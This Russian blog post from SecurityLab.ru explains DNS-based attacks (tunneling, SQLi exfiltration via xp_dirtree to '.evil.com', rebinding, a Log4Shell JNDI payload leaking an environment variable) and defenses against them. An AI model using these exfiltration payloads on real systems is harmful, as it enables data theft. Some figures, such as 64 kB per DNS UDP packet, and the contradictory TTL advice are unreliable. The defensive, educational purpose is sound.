Injection Attacks over DNS – как вредоносный код путешествует через DNS

Injection Attacks over DNS – как вредоносный код путешествует через DNS

При упоминании DNS большинство вспоминает скучные записи A и MX, но на самом деле эта «телефонная книга интернета» умеет гораздо больше — в том числе доставлять злоумышленникам конфиденциальные данные и запускать чужой код у вас под носом. В статье разберёмся, почему DNS так удобен для атак, какие техники инъекций популярны, какие ворота в ад уже распахнули реальные кейсы и как закрыть их обратно, не снося при этом весь сетевой стек.

Почему DNS — идеальный канал для нарушения спокойствия

DNS-пакеты редко блокируются, ходят почти в любой сети и не требуют авторизации. Добавьте к этому:

  • 64 кБ полезной нагрузки в каждом UDP-пакете — мечта для стеганографа.
  • Кэширование: запросы легко маскируются под «простую» авторизацию к поддоменам.
  • Сложность инспекции: побайтно разбирать DNS-имена отнимает ресурсы, а NextGen-фаерволы часто смотрят мимо.
  • Любознательность приложений: многие библиотеки (привет, Log4J) делают запросы в DNS почти без спроса.

В итоге DNS становится если не «конем Троянским», то по крайней мере «низким забором» на пути у злоумышленника.

Типичные схемы DNS-инъекций

1. DNS tunneling (туннелирование)

Идея проста: встраиваем данные во имя домена, например bXktaWQtMTkyLjE2OC4wLjE=.evil-tunnel.net, отправляем запрос — и почти бесплатно получаем обратный канал на 53-й порт. Инструментов масса: Iodine , dnscat2 , даже «кошачий» SlowDNS .

2. Data Exfiltration через DNS

Если SQL-инъекция не позволяет выводить результат напрямую, можно заставить БД сделать вызов системной функции, которая резолвит DNS-имя. Например, в Oracle долгое время помогала UTL_HTTP.REQUEST, а в MSSQL — знаменитая связка master..xp_dirtree ''+data+'.evil.com'. Данные кодируются (Base32/Base64) и уезжают в виде цепочки запросов.

3. DNS Rebinding

Старый, но живой трюк для обхода Same Origin Policy в браузерах. Сценарий примерно такой:

  1. Жертва заходит на evil.com.
  2. DNS сначала отдаёт IP злоумышленника, скрипт на странице открывает WebSocket или XHR.
  3. Через пару секунд TTL истекает, evil.com начинает указывать на 127.0.0.1 или внутренний адрес жертвы.
  4. Теперь скрипт, всё ещё считающийся «доверенным», долбится в ваш NAS, роутер или AWS-метаданные.

4. JNDI «подарочки» в Log4Shell-стиле

В разгар CVE-2021-44228 исследователи заметили: перед тем как лезть в LDAP, JNDI сначала резолвит домен. Значит, можно подсунуть payload вида ${jndi:ldap://${env:USER}.leak.dns-labs.org/a} и снять переменную среды уже на этапе DNS-запроса. Красота.

5. Комбинированные атаки с вредоносными зависимостями

Пакет npm или python-wheel может содержать скрипт postinstall, который при сборке выкачивает конфиг через DNS, а затем превращает его в shell-код. Примеры публиковались на конференциях Black Hat Europe 2023 — злоумышленник получал RCE, даже если HTTP был закрыт, а в DNS разрешали только рекурсивные запросы.

Реальные случаи, после которых выпивали админы

«Конкурент украл макет через SQLi + DNS»

В 2022-м консалтинг-компания обнаружила, что проектный файл AutoCAD (100 МБ) сплошь закодирован в TXT-запросах к design-cdn.net. Туннель без шума работал почти неделю, пока NetFlow не показал аномальный 53-й порт.

Слияние дронов и DNS

Разработчики IoT-платформы для агродронов забили на нормальный MQTT и шли в облако через DNS-туннель, чтобы обходить NAT -ы клиентов. После взлома злоумышленники так же ловко подменили координаты и «посеяли» беспилотники на соседних полях. Да-да, это тот редкий случай, когда literal «посев».

Rebinding vs AWS Instance Metadata v2

Исследователь из Нидерландов в 2024-м показал PoC: страница с авто-обновляемым iframe ребайндит домен на 169.254.169.254, крадёт токены временных ролей и тут же шифрует S3-бакеты. Всё за 7 секунд — таймер TTL рулит!

Как понять, что DNS уже не совсем «Domain Name Service», а «Domain Name Sorcery»

Первыми тревогу обычно бьют нетипичные паттерны:

  • Сотни NXDOMAIN-ответов на странные поддомены вроде 0x4a2b3c...evil.net.
  • Сыплются исключительно запросы типа TXT или NULL, хотя пользователи просто читают новости.
  • Объём DNS-трафика вдруг сравним с HTTP (кроме случаев, когда кто-то «ловит покемонов» на корпоративном Wi-Fi).

Защищаемся без боли и громких хлопков

1. Разделяйте резолверы

Пусть пользователи ходят в интернет через резолвер с фильтрацией, а сервера — через свой, с аудитом и минимальным кешем. Да, это больно на бумаге, зато в результате видно, кто именно шумит.

2. Запретите «сырой» UDP-53 наружу

Переключите клиентов на DoT/DoH. Если атакующий не может подслушать TLS, туннелить ему сложнее. Плюс можно инспектировать HTTP-заголовки в DoH-трафике, ловя явный iodine User-Agent.

3. Укоротите TTL до адекватных значений

Ребайндерам тяжело, если запись живёт минуту вместо секунды. А кэш-пустышка подчищается быстрее.

4. Включите Response Policy Zones

RPZ позволяет отрубить домены с подозрительными шаблонами на лету: «base32-цепочка длиннее 50 символов» — до свидания.

5. Следите за библиотеками

Простой grep -R "jndi:" по коду показывает неожиданно многое. Вычищайте небезопасные вызовы или вынуждайте их идти через внутренний резолвер без выхода наружу.

Что поставить для тестов и мониторинга

  • Iodine — проверка на туннель, скорость до 1 Мбит/с (если админ не заметит).
  • DNScat2 — интерактивный reverse shell, дружит с Cobalt Strike.
  • Detect DPI — скрипт на Python, ищет энтропию в имени домена.
  • Wireshark + Dns-stat.py — набор Lua/py-плагинов, считает длину запросов и плотность байтов.
  • OpenDNS Umbrella или Quad9 — SaaS-щит с категориями «Command & Control».

А ещё заведите Grafana-дашборд, чтобы не писать в слэк: «кто там опять смотрит evil-cdn.net по 100 раз в минуту?». Графики стыдят пользователей лучше любых регламентов.

Заключение

DNS остаётся незаменимым сервисом, и отключить его ради безопасности — примерно как выбросить рулевое колесо, чтобы не врезаться. Но любая гибкость — подарок хакеру. Поэтому:

  1. Отделяем резолверы и режем сырой UDP-53.
  2. Фильтруем подозрительные запросы и следим за объёмами.
  3. Анализируем софт: если библиотека может внезапно «пойти в сеть», она точно когда-нибудь туда пойдёт.
  4. Тестируем себя теми же инструментами, что и злоумышленник.

В результате инъекции через DNS из «невидимой магии» превратятся в скучную строчку в логе, а админы снова будут пить кофе без седативов. А значит, мир станет чуточку безопаснее — и явно спокойнее.

Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.

SOC MDR: автономный мониторинг и реагирование

Изоляция устройств, блокировка угроз, восстановление систем


Юрий Кочетов

Здесь я делюсь своими не самыми полезными, но крайне забавными мыслями о том, как устроен этот мир. Если вы устали от скучных советов и правильных решений, то вам точно сюда.